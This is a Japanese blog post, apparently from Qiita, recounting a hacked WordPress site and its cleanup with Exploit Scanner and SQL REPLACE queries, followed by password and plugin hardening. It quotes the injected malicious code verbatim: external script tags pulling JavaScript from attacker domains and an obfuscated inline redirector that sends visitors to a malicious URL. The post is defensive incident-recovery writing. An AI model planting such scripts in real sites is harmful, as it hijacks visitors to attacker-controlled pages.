9
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

【WordPress】ハッキングに遭遇。記事ページへのリンクが改ざんされ、勝手にリダイレクトしてた問題

Last updated at Posted at 2017-09-12

環境

・WordPress 4.4.1
・Mysql 5.5

・さくらレンタルサーバー
サーバーやデータベースのパスワードなどはデフォルトのまま使用していました。
データベースには、直接、接続できないようになっていたため、sshで経由する接続する必要がありました。

※問い合わせフォームなどフロントからデータをpostされるような機能は使用していません。

事象

ワードプレスの記事のページに飛ぶと、
リダイレクトがたくさん走り、別のサイトに誘導される。
そのため記事ページが開けない。

リダイレクトしていた原因

不正アクセスされ、データの改ざんが行われていました。
具体的にいうと、データベースに意図しないスクリプトファイルを読み込むコードが埋め込まれていたことが原因です。
wp_postsという記事のテーブルに埋め込まれていました。

不正なスクリプトの削除

Exploit Scanner をインストール

有効化し、スキャンする。
1.png

##文字列scriptの検索

そのまま管理画面で文字列scriptで検索すると250個ほどひっかかった。※普通にブラウザ上でctrl+fで検索。
そして、あやしいスクリプトが見つかる。
全部ではないにせよ、ほぼ全ての記事ページに散見された。
テーブルでいうとwp_postsにあたる。

<script type='text/javascript' src='https https://con1.sometimesfree.biz/c.js'></script>

ということでこれを削除する。
かなりの量書かれているので、SQLを実行することにする。

除去した後、もう一度スキャンすると、また別のスクリプトが見つかる。

<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>

ということでこれもSQLで除去する。
二つのupdateを実行した後で、もう一度、Exploit Scannerでスキャンを実行して文字列scriptを検索してみると、数が激減している。(54個になった)

こちらのタイプもあります。

<script type="text/javascript">$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}</script>

SQLクエリの実行

phpMyAdminかSequelProのコンソール画面、もしくはsshログイン後データベースに接続して、下記のクエリを実行してください。

※テーブルがwp_postsでなければ変更して下さい。

UPDATE wp_posts SET post_content = REPLACE(post_content, '<script type=\'text/javascript\' src=\'https://con1.sometimesfree.biz/c.js\'></script>', '') WHERE INSTR(post_content, '<script type=\'text/javascript\' src=\'https://con1.sometimesfree.biz/c.js\'></script>') > 0;

UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>', '') WHERE INSTR(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>') > 0;

UPDATE wp_posts SET post_content = REPLACE(post_content, '<script type=\"text/javascript\">$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == \"string\") return $VOcl3cIRrbzlimOyC8H.list[n].split(\"\").reverse().join(\"\");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[\"\'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}</script>', '') WHERE INSTR(post_content, '<script type=\"text/javascript\">$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == \"string\") return $VOcl3cIRrbzlimOyC8H.list[n].split(\"\").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[\"\'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}</script>') > 0;

再発防止策

とりあえず、不要なスクリプトは削除できて、サイトの記事ページにアクセスしても問題なく映っていることが確認できました。
どういった形で、このようなスクリプトが埋め込まれたかまでは分かりません。
ワードプレスの管理画面からではなく、ssh接続経由でデータベースに入り込まれてインサート文でもやられた可能性が高いと思っていますが。(sshのパスワードとデータベースのパスワードが同一でした。)

他に原因として推測できる方いたら教えて頂けると助かります。

取り急ぎ、再発防止に向けて下記の対策を実施しました。

サーバーパスワードの変更

さくらの場合、ssh、FTPのパスワードがこれにあたります。(二つともパスワード共通)

データベース接続パスワードの変更

さくらのコントロールパネルから変更した後、
wp-config.phpのファイルも変更

管理画面のパスワードの変更

adminのパスワードを強固なものに変更しました。
ワードプレスの場合、どうしてもadminユーザーだけは特定されてしまうのが難点だと痛感しました。

プラグイン「SiteGuard」の追加

このプラグインはログインURLを変更できます。
かつパスワード認証の際に、ユーザー名とパスワードだけでなく、
無作為な文字列も入力する画像認証もついてますので、セキュリティは格段に上がりそうです。

login.png

参考サイト

http://webfood.info/wordpress-redirect-hacking/
https://productforums.google.com/forum/#!topic/webmasters/1IT1Xg3pBwU

9
4
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
9
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?